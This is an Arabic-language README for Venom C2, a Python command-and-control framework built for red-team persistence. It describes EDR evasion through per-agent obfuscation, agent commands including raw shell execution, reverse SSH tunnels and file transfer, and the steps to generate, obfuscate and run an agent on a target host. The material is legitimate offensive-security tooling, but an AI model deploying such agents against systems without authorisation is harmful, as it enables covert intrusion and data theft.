Venom C2

Venom C2 هو إطار عمل للتحكم والقيادة (Command & Control) مكتوب بلغة Python3 بدون أي تبعيات، صُمم لتحقيق الثبات في عمليات الفريق الأحمر، ويُبنى ليعمل على الأنظمة دون تثبيت الحزم. يتكوّن من خادم فريق يعمل بـ Flask، وواجهة رسومية للمشغّل مبنية بـ Electron، وعامل Python بملف واحد يتواصل عبر HTTP/HTTPS باستخدام رسائل JSON مشفّرة بمفاتيح AES قابلة للتهيئة. استخدمه لتنفيذ الأوامر، وإدارة الملفات، والحفاظ على الوصول، وإنشاء أنفاق عكسية SSH من الأنظمة المخترقة.

الخلفية

أثناء تصعيد الصلاحيات في الشبكة، صادفنا العديد من أنظمة الإنتاج التي تعمل بتوزيعات وبنى معمارية غير مألوفة. أردنا تحقيق الثبات، لكن ترسانتنا من الأدوات والتقنيات لم تنجح. بالإضافة إلى ذلك، كانت بعض الأنظمة المستهدفة تشغّل أنظمة EDR.

كانت هذه أنظمة إنتاجية، لذا لم نرغب في تثبيت حزم. احتجنا إلى عامل C2 يعمل دون تبعيات. كانت الأنظمة تحتوي على Python3 مثبّتًا، لذا أنشأت Venom C2 في منتصف المهمة؛ عامل C2 بدون تبعيات بلغة Python3 يعمل فورًا.

لم نرغب في استخدام عوامل C2 جاهزة بسبب خطر أن تؤدي إلى اكتشافنا من قبل الفريق الأزرق. الكود الفريد هو الملك لتجاوز أنظمة EDR الحديثة

نظرًا لكثرة الأنظمة، قمنا بأتمتة توليد تمويه فريد، وتسمية، وتحديد مواقع في نظام الملفات، ونطاقات اتصال شبكية مختلفة، ومسارات طلبات شبكية فريدة لكل عامل.

سمّيته Venom لأن ابني يعشق شخصية Venom الشريرة من Spider-Man. بالإضافة إلى أن الثعبان (python) هو أفعى، والأفاعي الرائعة تملك السم (venom)، لذا شعرت أنه اسم مناسب.

مستقبل Venom C2

لا يوجد.

كان هذا مجرد مشروع C2 لمرة واحدة قمت به في منتصف المهمة. استغرق الأمر حوالي يومين من التطوير لجعله مستقرًا وموثوقًا في البيئة المستهدفة. لقد أدى وظيفته، ومنحنا ثباتًا في الشبكة لبقية الأسابيع الستة من المهمة. لا توجد لدي خطط لمواصلة تطوير أو استخدام هذا المشروع، لذا رأيت أنه خيار جيد لإصداره علنًا.

وإلا لكان ضاع في devNULL...

مكونات وميزات Venom C2

الخادم

• Python3 Flask
• خادم فريق يدعم عدة مشغّلين
• يحفظ سجل الأوامر
• سكربت لتهيئة العوامل
• سكربت لتمويه العوامل
• يدير اتصالات العوامل
• API للتواصل مع عميل الواجهة الرسومية GUI
• ملفات تعريف مخصصة مع اختيار عشوائي من مصفوفات كبيرة تضم:
  • أسماء معاملات رسائل C2
  • ترويسات عشوائية
  • سمات JSON عشوائية بأنواع قيم قابلة للتوسع

عميل الواجهة الرسومية GUI

• Electron
• يعمل على Linux وmacOS وWindows
• الواجهة الرسومية هي نسخة مبسّطة من واجهة Loki الرسومية

العامل

• Python3 بدون تبعيات
• الرسائل مشفّرة باستخدام مفاتيح AES قابلة للتهيئة
• تُرسل جميع الرسائل كطلبات POST بصيغة JSON
• ملفات تعريف مخصصة مع اختيار عشوائي من مصفوفات كبيرة تضم:
  • مسارات URI أساسية (مفيدة لإعداد توجيه الوكيل العكسي reverse proxy)
  • مسارات URI متعددة لكل وظيفة من وظائف العامل
  • أسماء معاملات رسائل C2
  • وكلاء المستخدم User Agents
  • ترويسات عشوائية
  • سمات JSON عشوائية بأنواع قيم قابلة للتوسع

أوامر العامل

[11-04-2025 11:31 AM MST] admin help

help     : Display this help menu
ls       : List directory contents
pwd      : Show current working directory
cd       : Change directory
cat      : Display file contents
mv       : Move/rename files or directories
cp       : Copy files or directories
mkdir    : Create directory
rmdir    : Remove empty directory
write    : Write content to file
chmod    : Change file permissions
rm       : Remove (delete) files
shell    : Execute raw shell command
sleep    : Make agent sleep with optional jitter
sshrev   : Create reverse SSH tunnel
kill     : Terminate agent process
upload   : Upload a file from your local operator box to the remote agent box
download : Download a file from remote agent box to local operator box

البدء السريع

1. احصل على الكود على خادمك

git clone https://github.com/boku7/venom 
cd venom

2. تثبيت متطلبات الخادم (Python 3)

pip3 install -r server/requirements.txt

3. تشغيل الخادم

cd server
python3 server.py --help
python3 server.py

• عند أول تشغيل، يتم توليد اسم مستخدم وكلمة مرور للمدير وتظهر في الطرفية. انسخهما واحفظهما لمصادقة العميل مع الخادم.
• أو عيّن خاصتك: python3 server.py --adduser <USERNAME> <PASSWORD>

4. تشغيل العميل على محطة العمل

شغّل واجهة العميل على محطة العمل الخاصة بك (وليس على الخادم). يجب أن تصل إلى الخادم.

cd ../client
npm install
npm run start

افتح العميل، وانتقل إلى Config، وأدخل بيانات اعتماد الخادم.

الأمان

مسار الأساس الخاص بواجهة برمجة تطبيقات العميل في الخادم هو /api/. لا تعرّض /api/ للإنترنت العام. استخدم VPN أو قواعد جدار حماية/وكيل عكسي صارمة بحيث لا يصل إليها إلا العملاء الموثوقون.

5. إنشاء عامل

من مجلد server:

python3 agent_create.py -H <server_host> -P <server_port> [-http]

6. تمويه العامل

من مجلد server:

python3 agent_obfuscate.py agents/<generated_agent_file>.py

7. تشغيل العامل

يُشغَّل على الكمبيوتر المستهدف الذي تريد التحكم به.

python3 /Users/bobby/venom/server/obfuscate/output/obfuscated_agent_20251104_110902.py